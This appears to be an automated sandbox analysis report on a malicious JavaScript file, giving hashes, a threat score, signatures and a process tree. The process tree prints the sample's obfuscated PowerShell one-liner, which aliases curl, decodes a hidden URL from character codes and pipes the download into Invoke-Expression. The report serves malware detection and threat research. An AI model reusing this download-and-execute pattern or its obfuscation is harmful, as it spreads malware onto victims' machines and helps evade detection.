Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 14:45
General
-
Target
87560d2f1c78802d8dad9ed78079b9d303e3ffcb03f0d7210274328f69687406.js
-
Size
210KB
-
MD5
014b6025e379ba809d09d326952bb00e
-
SHA1
02a23d9b538a459d7a300c6de3b708c40d1c515d
-
SHA256
87560d2f1c78802d8dad9ed78079b9d303e3ffcb03f0d7210274328f69687406
-
SHA512
4238a48e9d458a017e17255597f06d766ae6801dd49630df3bb2c9941978192250062e6a5258be592cfbc7f608e817d62442635cca2e81055c6cba4e11956f74
-
SSDEEP
1536:nwFfGiumBoE3+mDDkPbCpnjytu0nCqvV9zZK7gs7lyzBoE3+mDDkPbCpnjyj0nCv:noG/Z1n3ZTWEn3ZTWn3ZTMyj
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\87560d2f1c78802d8dad9ed78079b9d303e3ffcb03f0d7210274328f69687406.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $nkitevmdwyxfg='ur' ;new-alias printout c$($nkitevmdwyxfg)l;$rpdjnluegf=(297,308,316,300,302,297,317,316,321,254,316,250,297,245,315,310,311,246,248,245,311,303,311,262,314,260,308,304,309,315,314,249,248);$ojniakft=('bronx','get-cmdlet');$olgprhxduatij=$rpdjnluegf;foreach($vqnhouxlbgfmer in $olgprhxduatij){$trxubjkqpsvde=$vqnhouxlbgfmer;$zntqaib=$zntqaib+[char]($trxubjkqpsvde-199);$saloeyh=$zntqaib; $cskbfhqpm=$saloeyh};$hnqvidtlmkor[2]=$cskbfhqpm;$nojigerkdbahc='rl';$jarlnbvcwg=1;.$([char](9992-9887)+'e'+'x')(printout -useb $cskbfhqpm)1⤵
- Process spawned unexpected child process